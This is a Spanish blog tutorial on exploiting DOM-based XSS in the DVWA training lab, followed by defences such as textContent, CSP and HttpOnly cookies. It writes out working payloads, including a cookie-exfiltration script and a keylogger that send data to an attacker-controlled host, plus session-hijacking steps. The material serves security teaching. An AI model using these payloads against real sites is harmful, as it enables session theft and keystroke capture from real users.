🛡️XSS: cómo robar una sesión (y cómo evitar que te la roben)

Por /

Si alguna vez has pensado “bah, esto del XSS será poca cosa”, prepárate… porque aquí vamos a pasar de un simple alert(1) a secuestrar sesiones completas 😈

Pero tranquilo, también veremos cómo defendernos. Porque romper cosas está bien… pero arreglarlas mola más.

🎯 ¿Qué estamos intentando hacer?

El objetivo es explotar una vulnerabilidad de tipo Cross-Site Scripting (XSS) basada en DOM, para ejecutar JavaScript en el navegador de la víctima y robar información sensible como su sesión.

🧪 El laboratorio (aka “zona de destrucción controlada”)

Estamos usando:

  • Aplicación: Damn Vulnerable Web Application
  • Nivel: LOW (porque hoy venimos a jugar, no a sufrir)
  • Herramientas:
    • Navegador + consola (F12, nuestro mejor amigo)
    • Servidor local con Python

🔍 Fase 1: Encontrando la grieta

La app toma un parámetro de la URL (default) y lo mete en el DOM sin ningún filtro.

Ejemplo:

http://localhost:8080/vulnerabilities/xss_d/?default=hola

Traducción: “Hola atacante, haz lo que quieras conmigo”.

🧠 Fase 2: ¿Ejecuta JavaScript? Vamos a comprobarlo

Payload:

<script>alert(1)</script>

Resultado:

💥 Popup en pantalla → tenemos ejecución de código

Ya hemos abierto la puerta. Ahora toca entrar hasta la cocina.

🔎 Fase 3: Robando información jugosa

<script>alert(document.cookie)</script>

Resultado:

🍪 Aparecen las cookies del usuario
Entre ellas: PHPSESSID → básicamente su identidad dentro de la app

💥 Fase 4: Exfiltración (modo sigiloso ON)

En vez de mostrar las cookies, las enviamos a nuestro servidor.

Levantamos un servidor:

python3 -m http.server 8000

Y lanzamos este payload:

<script>
new Image().src="http://10.0.2.15:8000/?c="+document.cookie;
</script>

Resultado en nuestro servidor:

GET /?c=PHPSESSID=XXXX; security=low

🎯 Cookies robadas con éxito

Sin ruido, sin alertas… como un ninja digital.

🔐 Fase 5: Session Hijacking (ahora soy tú)

Con la cookie robada:

  • La insertamos en nuestro navegador (o con herramientas como Burp Suite)
  • Accedemos como si fuéramos la víctima

Resultado:

👤 Suplantación total de identidad

⌨️ Fase 6: Bonus track — Keylogger

Porque robar cookies no era suficiente…

<script>
document.onkeypress = function(e){
    fetch("http://10.0.2.15:8000/?key=" + e.key);
}
</script>

Resultado:

⌨️ Cada tecla que pulsa la víctima… nos llega a nosotros

Sí, esto ya se pone bastante turbio.

🧠 ¿Qué ha pasado aquí realmente?

El problema es simple (y peligroso):

  • La app usa datos del usuario directamente en el DOM
  • No valida ni sanitiza
  • Permite ejecutar JavaScript arbitrario

En resumen:

👉 Le hemos dado al usuario un boli… y ha dibujado fuego.

🚨 Impacto real (esto no es solo teoría)

Un atacante podría:

  • Robar sesiones
  • Suplantar usuarios
  • Inyectar contenido falso
  • Redirigir a phishing
  • Espiar lo que escribe el usuario
  • Ejecutar acciones en su nombre

🛡️ Cómo evitar que te hagan esto (lo importante)

Aquí viene la parte seria 👇

1. Nunca confíes en el input del usuario

Sanitiza y valida SIEMPRE.

2. Evita innerHTML

Esto es básicamente:

💣 “ejecuta lo que te pasen”

En su lugar:

element.textContent = userInput;

3. Usa Content Security Policy (CSP)

La Content Security Policy limita qué scripts pueden ejecutarse.

Ejemplo:

Content-Security-Policy: default-src 'self';

4. Protege las cookies

  • HttpOnly → evita acceso desde JavaScript
  • Secure → solo por HTTPS

5. Escapa correctamente el contenido

Especialmente si lo insertas en HTML, atributos o JS.

🏁 Conclusión

El DOM XSS no necesita tocar el servidor para hacer daño.
Solo necesita un descuido… y ya tiene control total del navegador del usuario.

Lo que empieza con:

alert(1)

puede acabar en:

💀 robo de sesión
💀 suplantación
💀 control completo

Scroll al inicio